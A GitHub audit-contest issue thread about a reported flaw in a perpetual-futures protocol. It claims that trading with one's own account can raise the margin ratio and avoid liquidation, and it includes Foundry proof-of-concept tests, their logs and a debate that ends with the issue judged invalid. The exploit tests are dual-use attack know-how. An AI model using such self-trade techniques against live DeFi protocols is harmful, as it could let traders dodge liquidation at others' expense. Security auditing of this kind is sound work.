sherlock-audit / 2024-02-perpetual-judging

1 stars 1 forks source link

neon2835 - Users can avoid the possibility of liquidation #112

Closed sherlock-admin3 closed 3 weeks ago

sherlock-admin3 commented 2 months ago

neon2835

high

Users can avoid the possibility of liquidation

Summary

When the margin utilization rate of the account is lower than maintenanceMarginRatio, the user's account will be liquidated. Therefore, in order to avoid liquidation, users must add margin to the account to make its account value higher than the maintenance margin requirement.

However, there is a vulnerability in the system, which can improve the utilization rate of account margin without adding more additional margin, which allows users to avoid the possibility of liquidation.

Vulnerability Detail

There are two main reasons for this vulnerability:

  1. The system does not restrict the account from trading with its own account.
  2. The trade price can be different from the Oracle price As long as the price difference remains within a certain range, the transaction can be completed, priceBandRatio can be set in the priceBandRatioMap of the config contract.

The priceBandRatio will also be different according to the risk of different markets. Take the ETH market as an example, its priceBandRatio is about 5% (I consulted the project personnel on the discord discussion group).

Assuming that users open positions to hold long/short positions in ETH market. At this time, the user trades with himself, he can manipulate the trade price, thus manipulating the margin utilization rate of the account.

Let the code speak for itself, here's my test file: MyTest.t.sol, just put it in the test/clearingHouse directory:

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;

import "../oracleMaker/OracleMakerIntSetup.sol";
import { ClearingHouse } from "../../src/clearingHouse/ClearingHouse.sol";
import { IClearingHouse } from "../../src/clearingHouse/IClearingHouse.sol";
import { OracleMaker } from "../../src/maker/OracleMaker.sol";
import { LibError } from "../../src/common/LibError.sol";
import "forge-std/console.sol";

contract MyTest is OracleMakerIntSetup {
    bytes public makerData;
    address public taker = makeAddr("taker");
    address public lp = makeAddr("lp");
    struct MakerOrder {
        uint256 amount;
    }

    function setUp() public override {
        super.setUp();

        makerData = validPythUpdateDataItem;

        _mockPythPrice(150, 0);
        _deposit(marketId, taker, 500e6);
        maker.setValidSender(taker, true);

        deal(address(collateralToken), address(lp), 2000e6, true);
        vm.startPrank(lp);
        collateralToken.approve(address(maker), 2000e6);
        maker.deposit(2000e6);
        vm.stopPrank();
    }

    function test_imporveMarginRatio() public{
        vm.startPrank(taker);
        _mockPythPrice(150, 0);
        uint price = 150 * 1e18;
        // taker long ether with 1500 usd
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: makerData
            })
        );
        console.log("---------------- before ------------------- ");
        printLegacyMarginProfile(_getMarginProfile(marketId, taker, price));

        // taker trade with himself
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(taker), //NOTE maker equel taker
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: abi.encode(MakerOrder({
                    amount: 10.5 ether //NOTE suppose 5% band
                }))
            })
        );
        console.log("\r");
        console.log("---------------- after ------------------- ");
        printLegacyMarginProfile(_getMarginProfile(marketId, taker, price));

    }

    function test_avoidLiquidation() public{
        vm.startPrank(taker);
        _mockPythPrice(150, 0);
        // taker long ether with 1500 usd
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: makerData
            })
        );

        uint price = 109 * 1e18; //The price that make users to be liquidated
        console.log("---------------- normal ------------------- ");
        printLegacyMarginProfile(_getMarginProfile(marketId, taker, price));
        console.log("isLiquidatable", clearingHouse.isLiquidatable(marketId, taker, price));

        // taker trade with himself
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(taker), //NOTE maker equel taker
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: abi.encode(MakerOrder({
                    amount: 10.5 ether //NOTE suppose 5% band
                }))
            })
        );
        console.log("\r");
        console.log("---------------- after taker trade with himself -------------------");
        printLegacyMarginProfile(_getMarginProfile(marketId, taker, price));
        console.log("isLiquidatable", clearingHouse.isLiquidatable(marketId, taker, price));
        vm.stopPrank();
    }

    function printLegacyMarginProfile(LegacyMarginProfile memory _legacy) private view {
        console.log("\r");
        console.log("accountValue:");
        console.logInt(_legacy.accountValue);
        console.log("\r");

        console.log("marginRatio:");
        console.logInt(_legacy.marginRatio);
        console.log("\r");
    }
}

First, run the test_imporveMarginRatio function to verify whether the margin utilization rate can be improved, run:

forge test --match-path test/clearingHouse/MyTest.t.sol --match-test test_imporveMarginRatio -vvv

Get the results:

Ran 1 test for test/clearingHouse/MyTest.t.sol:MyTest
[PASS] test_imporveMarginRatio() (gas: 1434850)
Logs:
  ---------------- before ------------------- 

  accountValue:
  500000000000000000000

  marginRatio:
  333333333333333333

  ---------------- after ------------------- 

  accountValue:
  500000000000000000000

  marginRatio:
  349999999999999999

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.51ms (4.20ms CPU time)

We can see that with the accountValue unchanged, the margin utilization rate has increased from 333333333333333333 to 349999999999999999. Please note that this is only when priceBandRatio is equal to 5%, the greater the value of priceBandRatio, the greater the margin ratio that can be increased!

Then let's continue running the test_avoidLiquidation function, run:

forge test --match-path test/clearingHouse/MyTest.t.sol --match-test test_avoidLiquidation -vvv

Get the results:

Ran 1 test for test/clearingHouse/MyTest.t.sol:MyTest
[PASS] test_avoidLiquidation() (gas: 1528984)
Logs:
  ---------------- normal ------------------- 

  accountValue:
  90000000000000000000

  marginRatio:
  60000000000000000

  isLiquidatable true

  ---------------- after taker trade with himself -------------------

  accountValue:
  90000000000000000000

  marginRatio:
  62999999999999999

  isLiquidatable false

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.90ms (4.57ms CPU time)

Through the test results, it is found that the account should have met the conditions for liquidation, and by constructing its own transactions with itself, it can not be liquidated any more.

Impact

By trading with themselves, users can improve their margin utilization without adding additional margin, which allows users to avoid the possibility of liquidation

Code Snippet

Although the code snippet that caused the vulnerability is complex, the main reason is in the _openPosition function of the ClearingHouse contract:

https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L267-L356

Tool used

Manual Review Foundry Vscode

Recommendation

Forcibly restrict users from trading with their own accounts. Add judgment conditions to the _openPosition function of the ClearingHouse contract:

require( taker != params.maker, "Taker can not equal to Maker" );
joicygiore commented 4 weeks ago

Thank you for these scenario's, but they don't answer my questions. Please provide answers to the questions I asked in previous comment.

Sir, I am sure I tried to answer all the questions you asked. Here is my complete Poc https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/112#issuecomment-2092028311. Here is my initial Poc for this problem https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/112#issuecomment-2094141447.Increasing the margin is just to postpone the liquidation line. As for the price of 0 not being liquidated, only the margin meets the standard.Is this all, or am I missing something?

WangSecurity commented 4 weeks ago

Yes, there are a couple of them. Thank you for the POC again, but I've asked you to explain this changes from the Neon's POC. I've asked them in this and this comments. Yes, you answered the question regarding makerData, but still didn't explain why in your POC the trader is not liquidatable after the attack, when in Neon's POC they are if the price drops slightly. If I missed where you explain it, please forward me to that comment, cause still can't see where you explain the reason for such difference.

Secondly, I don't see where you provide counter arguments for @IllIllI000 assumption. I will copy and paste this quesiton here.

the increase in margin happens not because the trader opens a trade with themselves after trading with the maker. The LSW says that it happens because two trades have different aberage entry price, hence when you enter the second trade, the margin utilization is different, cause the entry price is different. That is the reason why they believe it should be low. Yes the margin utilization is better without adding any collateral, but you enter the trade at a different price, hence, the margin utilization is different. Therefore, it works correctly and as it should.

Again, if I miss a comment where you explain it, please forwrd me to it, cause I genuinely don't see it.

Lastly, could you explain your last POC about shorting 1 ether from this comment. Again, just copy and pasting my question:

The trader opens a short at price of 100. Then you assert they can be liquidatable at price of 193. Then you close the position and now the trader is not liquidatable at price of 193. Well, why it should be liquidatable if it's closed? Then you open a new position at the price of 50. I don't understand what the POC proves, hence, asking you to explain it please, cause from my point of view you close position, try to check if it's liquidatable and it's quite logical that it's not, since it's closed.

Of course, I genuinely miss where you answer these questions cause after I asked them, you provided three scenarios which don't give explicit answers to these questions. Excuse me, if I'm actually just blind and miss them.

WangSecurity commented 4 weeks ago

In the meantime, I'll ask do I understand correctly what the flow of the attack here is? Please correct me if anything is missing or any assumption is wonrg. @oxneon @joicygiore @IllIllI000

We have a user (regular trader) and the attacker. They open longs at the same price, i.e. 100. Instantly after that, the attacker opens a second trade, but with himself as a maker. Because of that, their initial trade is closed and the new one has a differentl average entry price (even if they open the second trade instantly).

Then the price dropped to 50 and now both of them should be liquidated (assuming they opened two identical longs). The user gets liquidated, but the attacker is no liquidatable. The reason for that is because when they opened the second trade their average entry price was lower, therefore, their margin utilisation rate is better and they're not liquidated at this price.

Feel free to correct me.

IllIllI000 commented 4 weeks ago

The only thing kind of missing is that the closing of the attacker's first trade is at the price that the attacker specifies for the second trade, which means whatever gains/losses are associated with the closing of that first trade, are applied to the margin of the attacker, prior to the second trade opening at the price that the attacker specified for the second trade.

WangSecurity commented 4 weeks ago

But what if the price of both first and second trade is the same? I assume the margin utilization will not change and in the scenario I laid out here, the attacker would be liquidatable at the price of 50?

If the price of the second trade is lower than of the first one (entry price), for example entry of the second trade is 98, then they close the first at 98 as well. Hence, they realize the loss and now they have less margin, lower entry price, so the utilisation ratio is different then to the user. The same for opening the second trade at 102 and realising gains, but vice versa. Correct?

IllIllI000 commented 4 weeks ago

This PoC shows the 98 case (uses 95 instead). Changing bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: (amount * 95) / 100 })); in that PoC to bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: amount })); shows that neither is liquidatable for the same price case. The test isn't set up to work for the 102 case (getting ExcessiveInputAmount error when trying to do the second trade)

joicygiore commented 4 weeks ago

Yes, there are a couple of them. Thank you for the POC again, but I've asked you to explain this changes from the Neon's POC. I've asked them in this and this comments. Yes, you answered the question regarding makerData, but still didn't explain why in your POC the trader is not liquidatable after the attack, when in Neon's POC they are if the price drops slightly. If I missed where you explain it, please forward me to that comment, cause still can't see where you explain the reason for such difference.

Secondly, I don't see where you provide counter arguments for @IllIllI000 assumption. I will copy and paste this quesiton here.

the increase in margin happens not because the trader opens a trade with themselves after trading with the maker. The LSW says that it happens because two trades have different aberage entry price, hence when you enter the second trade, the margin utilization is different, cause the entry price is different. That is the reason why they believe it should be low. Yes the margin utilization is better without adding any collateral, but you enter the trade at a different price, hence, the margin utilization is different. Therefore, it works correctly and as it should.

Again, if I miss a comment where you explain it, please forwrd me to it, cause I genuinely don't see it.

Lastly, could you explain your last POC about shorting 1 ether from this comment. Again, just copy and pasting my question:

The trader opens a short at price of 100. Then you assert they can be liquidatable at price of 193. Then you close the position and now the trader is not liquidatable at price of 193. Well, why it should be liquidatable if it's closed? Then you open a new position at the price of 50. I don't understand what the POC proves, hence, asking you to explain it please, cause from my point of view you close position, try to check if it's liquidatable and it's quite logical that it's not, since it's closed.

Of course, I genuinely miss where you answer these questions cause after I asked them, you provided three scenarios which don't give explicit answers to these questions. Excuse me, if I'm actually just blind and miss them.

1.I don't really know Neon's poc. Because only he himself is the clearest thinker about the basic idea of his setup. I think he should be able to answer your question. This is indeed beyond my POC and my thinking. Please understand. 2.This is my raw content and analysis of why I feel like I can do this and it works. While increasing the margin, it will not affect the subsequent closing of positions. https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/61 facts have proved that it is indeed effective 3.It can be liquidated before the transaction, but cannot be liquidated after the transaction. Please note the state changes of the two transaction assertions(This is just to show the comparison before and after self-trading.), The position was not liquidated. When the price meets the attacker's expectations, the attacker closes the position to cash in the profit. This is a normal operation. Is there any problem with this? Please note that this is the third example in https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/112#issuecomment-2094201004 margin increase, liquidation failed, maker suffered losses

        ////////////////////////////////////
        /////// normal circumstances ///////
        ////////////////////////////////////
        // 100e18 -> 193.76e18
        // margin ratio < 6.25%
        assertEq(vault.getMarginRatio(marketId, attacker, 193.76e18), 6.24e16);
        // can be liquidated
@>        assertEq(clearingHouse.isLiquidatable(marketId, attacker, 193.76e18), true);

        /////////////////////////////////////
        /// Attackers trade on their own ////
        /////////////////////////////////////
        // after transaction attacker closePosition in self and set makerData
        bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: 95 ether }));
        // if price band ratio == 0
        // for (uint256 i = 0; i < 5; ++i) {
        clearingHouse.closePosition(
            IClearingHouse.ClosePositionParams({
                marketId: marketId,
                maker: address(attacker),
                oppositeAmountBound: type(uint256).max,
                deadline: block.timestamp,
                makerData: makerData
            })
        );
        // }
        //////////////////////////////////
        ///Unable to liquidate normally///
        //////////////////////////////////
        // set price -> 193.76e18
        maker.setBaseToQuotePrice(193.76e18);
        _mockPythPrice(19376, -2);
        // Unable to liquidate
@>        assertEq(clearingHouse.isLiquidatable(marketId, attacker, 193.76e18), false);
joicygiore commented 4 weeks ago

In the meantime, I'll ask do I understand correctly what the flow of the attack here is? Please correct me if anything is missing or any assumption is wonrg. @oxneon @joicygiore @IllIllI000

We have a user (regular trader) and the attacker. They open longs at the same price, i.e. 100. Instantly after that, the attacker opens a second trade, but with himself as a maker. Because of that, their initial trade is closed and the new one has a differentl average entry price (even if they open the second trade instantly).

Then the price dropped to 50 and now both of them should be liquidated (assuming they opened two identical longs). The user gets liquidated, but the attacker is no liquidatable. The reason for that is because when they opened the second trade their average entry price was lower, therefore, their margin utilisation rate is better and they're not liquidated at this price.

Feel free to correct me.

Simply put, as long as your margin is enough, no one can liquidate you. You just need to wait for it to return to your expected closing price.

joicygiore commented 4 weeks ago

But what if the price of both first and second trade is the same? I assume the margin utilization will not change and in the scenario I laid out here, the attacker would be liquidatable at the price of 50?

If the price of the second trade is lower than of the first one (entry price), for example entry of the second trade is 98, then they close the first at 98 as well. Hence, they realize the loss and now they have less margin, lower entry price, so the utilisation ratio is different then to the user. The same for opening the second trade at 102 and realising gains, but vice versa. Correct?

I really don’t quite understand what you mean by 102. This is not my idea, so I don’t know how to explain this issue to you. Below is my original content https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/61 So, sir, that's all

joicygiore commented 4 weeks ago

If I've missed anything, please feel free to tell me. Thank you for your patience. I think I need to improve my language skills and expression skills. 🫡 @WangSecurity @IllIllI000

joicygiore commented 4 weeks ago

This PoC shows the 98 case (uses 95 instead). Changing bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: (amount * 95) / 100 })); in that PoC to bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: amount })); shows that neither is liquidatable for the same price case. The test isn't set up to work for the 102 case (getting ExcessiveInputAmount error when trying to do the second trade)

I don’t quite understand the implementation logic of 102, so it’s normal that it can’t be used in my POC,thanks for understanding

WangSecurity commented 4 weeks ago

Thank you for these responses!

I really don’t quite understand what you mean by 102. This is not my idea, so I don’t know how to explain this issue to you

This is just an arbitrary exmple to clarify if there's something I'm missing.

It can be liquidated before the transaction, but cannot be liquidated after the transaction. Please note the state changes of the two transaction assertions(This is just to show the comparison before and after self-trading.),

Totally understand, the thing that is not clear for me, the transaction in this piece of the test is to close the position. Hence, yes it's liquidatable before closing the position, but after you closed the position it's not, which is completely logical. What I don't see is where is the self trade? I see that the maker is the attacker address, but it only closes the position, and it's logical the closed position cannot be closed. Do I miss where you open the second trade?

Also, as I understand, you don't disagree with this assumption. I see your comment:

Simply put, as long as your margin is enough, no one can liquidate you. You just need to wait for it to return to your expected closing price

But it doesn't agree or disagree with my assumption that the attacker cannot be liquidated cause the entry price of the second trade is lower than the first one, not cause they trade with themselves.

And I've got another question to any watson who wish to answer (@joicygiore @IllIllI000) if in that case, the only reason for having better margin utilisation is opening the second trade at a lower price, then it doesn't matter if they trade with themselves? In that case the attacker shouldn't put themselves as the maker, and they can open the second trade using the same maker as for the first trade and achieve the same result. Correct?

IllIllI000 commented 4 weeks ago

For your followup question, the first trade's maker in the thought experiment will be the OM, the SHBM, or another account. The OM uses the Pyth oracle for the price, so they can't do it there because that's a fixed price that they cannot control. The SHBM uses uniswap, so unless they skew the pool, they can't choose a price there either. They can do the same thing by trading with another account (e.g. their own other account), assuming that other account made the original trade (i.e. at price of 100) so that the account has shares to provide as the maker.

joicygiore commented 4 weeks ago

He must trade as a maker in order to control the makerData parameters and increase the margin rate. The closePosition used in my POC is actually just to be lazy and reduce parameters. In order to control makerData, we only need a position opposite to the original position to execute self-transactions. For example, the following method is still valid

        // after transaction attacker closePosition in self and set makerData
        bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: 95 ether }));
        // if price band ratio == 0
        // for (uint256 i = 0; i < 5; ++i) {
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(attacker),
                isBaseToQuote: false,
                isExactInput: false,
                amount: 1 ether,
                oppositeAmountBound: 100 ether,
                deadline: block.timestamp,
                makerData: makerData
            })
        );
        // clearingHouse.closePosition(

[PASS] testModifyAccountMarginRatio() (gas: 1596049) Logs: attacker Start Collateral Token 100000000 attacker End Collateral Token 150000000

The attacker controls the value of result.quote or result.base through makerData. https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L325-L331

              } else {
                // quote to exactOutput(base), Q2B base+ quote-
                result.base = params.amount.toInt256();
@>                result.quote = -oppositeAmount.toInt256();
            }
        }
        _checkPriceBand(params.marketId, result.quote.abs().divWad(result.base.abs()));
joicygiore commented 4 weeks ago

Thank you for these responses!

I really don’t quite understand what you mean by 102. This is not my idea, so I don’t know how to explain this issue to you

This is just an arbitrary exmple to clarify if there's something I'm missing.

It can be liquidated before the transaction, but cannot be liquidated after the transaction. Please note the state changes of the two transaction assertions(This is just to show the comparison before and after self-trading.),

Totally understand, the thing that is not clear for me, the transaction in this piece of the test is to close the position. Hence, yes it's liquidatable before closing the position, but after you closed the position it's not, which is completely logical. What I don't see is where is the self trade? I see that the maker is the attacker address, but it only closes the position, and it's logical the closed position cannot be closed. Do I miss where you open the second trade?

Also, as I understand, you don't disagree with this assumption. I see your comment:

Simply put, as long as your margin is enough, no one can liquidate you. You just need to wait for it to return to your expected closing price

But it doesn't agree or disagree with my assumption that the attacker cannot be liquidated cause the entry price of the second trade is lower than the first one, not cause they trade with themselves.

And I've got another question to any watson who wish to answer (@joicygiore @IllIllI000) if in that case, the only reason for having better margin utilisation is opening the second trade at a lower price, then it doesn't matter if they trade with themselves? In that case the attacker shouldn't put themselves as the maker, and they can open the second trade using the same maker as for the first trade and achieve the same result. Correct?

Sir, I looked at the code again. In my memory, self-transaction must be used to pass the series of checks in the source code below to complete the parameter control of makeData. So self-dealing is a must

https://github.com/sherlock-audit/2024-02-perpetual/blob/02f17e70a23da5d71364268ccf7ed9ee7cedf428/perp-contract-v3/src/authorization/AuthorizationUpgradeable.sol#L55-L57 https://github.com/sherlock-audit/2024-02-perpetual/blob/02f17e70a23da5d71364268ccf7ed9ee7cedf428/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L478-L480 https://github.com/sherlock-audit/2024-02-perpetual/blob/02f17e70a23da5d71364268ccf7ed9ee7cedf428/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L293

joicygiore commented 3 weeks ago

Hello, gentlemen. I relearned Neon's code. I think I found the reason for the difference in the POC code. Please see the source code of ClearingHouse::_openPosition() below. He chose another execution route and also used the self-trade control makerData parameter to increase the margin rate. @WangSecurity @IllIllI000

@>       if (params.isExactInput) {
            _checkExactInputSlippage(oppositeAmount, params.oppositeAmountBound);
@>            if (params.isBaseToQuote) {
                // exactInput(base) to quote, B2Q base- quote+
@>               result.base = -params.amount.toInt256();
@>               result.quote = oppositeAmount.toInt256();
@>           } else {
                // exactInput(quote) to base, Q2B base+ quote-
@>                result.base = oppositeAmount.toInt256();
@>                result.quote = -params.amount.toInt256();
            }
@>        } else {
            _checkExactOutputSlippage(oppositeAmount, params.oppositeAmountBound);
@>            if (params.isBaseToQuote) {
                // base to exactOutput(quote), B2Q base- quote+
@>                result.base = -oppositeAmount.toInt256();
@>                result.quote = params.amount.toInt256();
            } else {
@>                result.base = params.amount.toInt256(); // 1e18
@>                result.quote = -oppositeAmount.toInt256(); // 1e18
            }
        }
WangSecurity commented 3 weeks ago

Thank you for these responses both @joicygiore and @IllIllI000. I believe the assumption I made earlier is correct:

If there are two traders (regular user and the attacker) and both open the identical long trade (for comparison) at price 100. Both should be invalid at 50, but the attacker opens up a second long trade after that. They use themselves as a maker which allows them to bypass important checks and control the open price of the second trade. The problem here is that for second trade is lower, e.g. 95 (as in one of the POCs). Hence, they lose some margin, cause the first trade was also closed at 95. Besides that, cause the open price is lower, their utilisation rate at 50 also better than for the another user, who just held the initial position. It leads to the situation where the attacker is not liquidatable at 50, but the user is. The only reason is that the average entry price of the second trade for the attacker is lower, and the code works exactly as it should. I agree this vulnerability allows for unauthorized actions, but I don't see any impact from it. Hence, I believe low/info severity is indeed appropriate for this issue.

Planning to accept the escalation and invalidate this issue (and it's duplicates).

joicygiore commented 3 weeks ago

@WangSecurity First of all, this issue is confirmed and fixed by the sponsor. The sponsor's recommendation is medium. I am not discussing any issues related to this project. But I hope you will change the other 9 issues that the sponsor confirmed will not be fixed to low. Of course, I think as long as you are happy, it will be fine.😃

WangSecurity commented 3 weeks ago

@joicygiore Sponsor's words, decisions, fixes doesn't effect neither validity nor severity of the issue. If you genuinely disagree with my decision, then please tell me where this assumption is wrong, otherwise, it's low/info:

If there are two traders (regular user and the attacker) and both open the identical long trade (for comparison) at price 100. Both should be invalid at 50, but the attacker opens up a second long trade after that. They use themselves as a maker which allows them to bypass important checks and control the open price of the second trade. The problem here is that for second trade is lower, e.g. 95 (as in one of the POCs). Hence, they lose some margin, cause the first trade was also closed at 95. Besides that, cause the open price is lower, their utilisation rate at 50 also better than for the another user, who just held the initial position. It leads to the situation where the attacker is not liquidatable at 50, but the user is. The only reason is that the average entry price of the second trade for the attacker is lower, and the code works exactly as it should. I agree this vulnerability allows for unauthorized actions, but I don't see any impact from it. Hence, I believe low/info severity is indeed appropriate for this issue.

joicygiore commented 3 weeks ago

@joicygiore Sponsor's words, decisions, fixes doesn't effect neither validity nor severity of the issue. If you genuinely disagree with my decision, then please tell me where this assumption is wrong, otherwise, it's low/info:

If there are two traders (regular user and the attacker) and both open the identical long trade (for comparison) at price 100. Both should be invalid at 50, but the attacker opens up a second long trade after that. They use themselves as a maker which allows them to bypass important checks and control the open price of the second trade. The problem here is that for second trade is lower, e.g. 95 (as in one of the POCs). Hence, they lose some margin, cause the first trade was also closed at 95. Besides that, cause the open price is lower, their utilisation rate at 50 also better than for the another user, who just held the initial position. It leads to the situation where the attacker is not liquidatable at 50, but the user is. The only reason is that the average entry price of the second trade for the attacker is lower, and the code works exactly as it should. I agree this vulnerability allows for unauthorized actions, but I don't see any impact from it. Hence, I believe low/info severity is indeed appropriate for this issue.

I can't understand where your second transaction came from. I can only tell you that without the first transaction, it is impossible to generate any orders from your own transaction, and you cannot modify the parameters. You can try it, okay? The most important thing is that you are happy, nothing else matters

joicygiore commented 3 weeks ago

Thank you for patiently listening to my nonsense for so many days. I'm sorry for wasting your time. I'm sorry.

joicygiore commented 3 weeks ago

If you use the OWASP Top vulnerability to remotely execute code on a server, but you don't get any useful information, then owasp is wrong and there is something wrong with its rating. It should be low, right? Even if you execute the command remotely to delete everything on the server, but the project still has a backup, the rating will still be low.

Because it doesn't cause any harm at all, right?

joicygiore commented 3 weeks ago

Let’s take another simple example to compare self-dealing. You have 1,000 ether, and you use your left hand and your right hand to roll dice to compare the sizes for a gambling game. If you play this game ten million times, you still have 1,000 ether, and there will be no change. Self-trading itself is meaningless, it is just an entrance to modify parameters.

If you have enough time, you can even play until the earth is destroyed. 1000 is still 1000.

oxneon commented 3 weeks ago

thanks @paco0x @IllIllI000 @WangSecurity @joicygiore . Just finished my vacation, please give me some time to review all the comments I missed.

joicygiore commented 3 weeks ago

thanks @paco0x @IllIllI000 @WangSecurity @joicygiore . Just finished my vacation, please give me some time to review all the comments I missed.

Finally, you have shown up

oxneon commented 3 weeks ago

Sorry, International Labor Day has been off for five days and I just returned to work today. If I have offended anyone before, I apologize first. Please allow me some time to reread the comments I missed

Evert0x commented 3 weeks ago

Result: Invalid Has Duplicates

sherlock-admin2 commented 3 weeks ago

Escalations have been resolved successfully!

Escalation status: